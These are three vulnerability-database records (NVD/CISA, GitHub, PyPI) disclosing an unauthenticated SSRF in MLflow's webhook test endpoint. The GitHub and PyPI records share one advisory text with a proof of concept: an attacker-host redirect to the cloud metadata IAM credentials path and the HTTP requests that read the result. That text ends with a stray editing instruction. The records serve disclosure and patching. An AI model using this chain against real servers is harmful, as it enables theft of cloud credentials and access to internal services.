{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mlflow",
          "vendor": "mlflow",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.15.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cisaActionDue": "2026-09-02",
  "cisaExploitAdd": "2026-08-19",
  "cisaRequiredAction": "Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA\u2019s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA\u2019s \u201cForensics Triage Requirements\u201d (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset\u0027s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.",
  "cisaVulnerabilityName": "MLflow Server-Side Request Forgery Vulnerability",
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "D762205E-C76F-495C-94C6-83DB1D4AF018",
              "versionEndExcluding": "3.15.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0."
    }
  ],
  "id": "CVE-2026-64849",
  "lastModified": "2026-08-20T19:16:57.867",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-64849",
          "options": [
            {
              "exploitation": "active"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-20T03:55:29.820245Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-17T22:17:23.580",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Issue Tracking",
        "Mitigation"
      ],
      "url": "https://github.com/mlflow/mlflow/issues/24179"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/mlflow/mlflow/pull/24258"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "US Government Resource"
      ],
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-64849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T21:58:51Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing \u2014 `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning \u2014 mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker\u0027s allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 \u2014 negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 400 {\"message\":\"Invalid webhook URL scheme: \u0027http\u0027. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 \u2014 create a webhook pointing at the attacker\u0027s public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 \u2014 fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:",
  "id": "GHSA-7gwp-5pfp-969j",
  "modified": "2026-08-17T21:58:51Z",
  "published": "2026-08-17T21:58:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/issues/24179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/pull/24258"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mlflow",
        "purl": "pkg:pypi/mlflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.1.0",
        "0.2.0",
        "0.2.1",
        "0.3.0",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.6.0",
        "0.7.0",
        "0.8.0",
        "0.8.1",
        "0.8.2",
        "0.9.0",
        "0.9.0.1",
        "0.9.1",
        "1.0.0",
        "1.1.0",
        "1.1.1.dev0",
        "1.10.0",
        "1.11.0",
        "1.12.0",
        "1.12.1",
        "1.13",
        "1.13.1",
        "1.14.0",
        "1.14.1",
        "1.15.0",
        "1.16.0",
        "1.17.0",
        "1.18.0",
        "1.19.0",
        "1.2.0",
        "1.20.0",
        "1.20.1",
        "1.20.2",
        "1.21.0",
        "1.22.0",
        "1.23.0",
        "1.23.1",
        "1.24.0",
        "1.25.0",
        "1.25.1",
        "1.26.0",
        "1.26.1",
        "1.27.0",
        "1.28.0",
        "1.29.0",
        "1.3.0",
        "1.30.0",
        "1.30.1",
        "1.4.0",
        "1.5.0",
        "1.6.0",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.8.0",
        "1.9.0",
        "1.9.1",
        "2.0.0",
        "2.0.0rc0",
        "2.0.1",
        "2.1.0",
        "2.1.1",
        "2.10.0",
        "2.10.1",
        "2.10.2",
        "2.11.0",
        "2.11.1",
        "2.11.2",
        "2.11.3",
        "2.11.4",
        "2.12.0",
        "2.12.1",
        "2.12.2",
        "2.13.0",
        "2.13.1",
        "2.13.2",
        "2.14.0",
        "2.14.0rc0",
        "2.14.1",
        "2.14.2",
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        "2.14.3",
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        "2.15.0rc0",
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        "2.16.0",
        "2.16.1",
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        "2.17.0rc0",
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        "2.20.1",
        "2.20.2",
        "2.20.3",
        "2.20.4",
        "2.21.0",
        "2.21.0rc0",
        "2.21.1",
        "2.21.2",
        "2.21.3",
        "2.22.0",
        "2.22.0rc0",
        "2.22.1",
        "2.22.2",
        "2.22.3",
        "2.22.4",
        "2.22.5",
        "2.3.0",
        "2.3.1",
        "2.3.2",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.5.0",
        "2.6.0",
        "2.7.0",
        "2.7.1",
        "2.8.0",
        "2.8.1",
        "2.9.0",
        "2.9.1",
        "2.9.2",
        "3.0.0",
        "3.0.0rc0",
        "3.0.0rc1",
        "3.0.0rc2",
        "3.0.0rc3",
        "3.0.1",
        "3.1.0",
        "3.1.0rc0",
        "3.1.1",
        "3.1.2",
        "3.1.3",
        "3.1.4",
        "3.10.0",
        "3.10.0rc0",
        "3.10.1",
        "3.11.0",
        "3.11.0rc0",
        "3.11.0rc1",
        "3.11.1",
        "3.12.0",
        "3.12.0rc0",
        "3.13.0",
        "3.13.0rc0",
        "3.14.0",
        "3.2.0",
        "3.2.0rc0",
        "3.3.0",
        "3.3.0rc0",
        "3.3.1",
        "3.3.2",
        "3.4.0",
        "3.4.0rc0",
        "3.5.0",
        "3.5.0rc0",
        "3.5.1",
        "3.6.0",
        "3.6.0rc0",
        "3.7.0",
        "3.7.0rc0",
        "3.8.0",
        "3.8.0rc0",
        "3.8.1",
        "3.9.0",
        "3.9.0rc0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-64849",
    "GHSA-7gwp-5pfp-969j"
  ],
  "details": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing \u2014 `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning \u2014 mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker\u0027s allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 \u2014 negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 400 {\"message\":\"Invalid webhook URL scheme: \u0027http\u0027. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 \u2014 create a webhook pointing at the attacker\u0027s public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 \u2014 fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:",
  "id": "PYSEC-2026-3687",
  "modified": "2026-08-19T12:16:29.428379Z",
  "published": "2026-08-19T11:56:27.173497Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/issues/24179"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/pull/24258"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mlflow/mlflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/mlflow"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7gwp-5pfp-969j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64849"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)"
}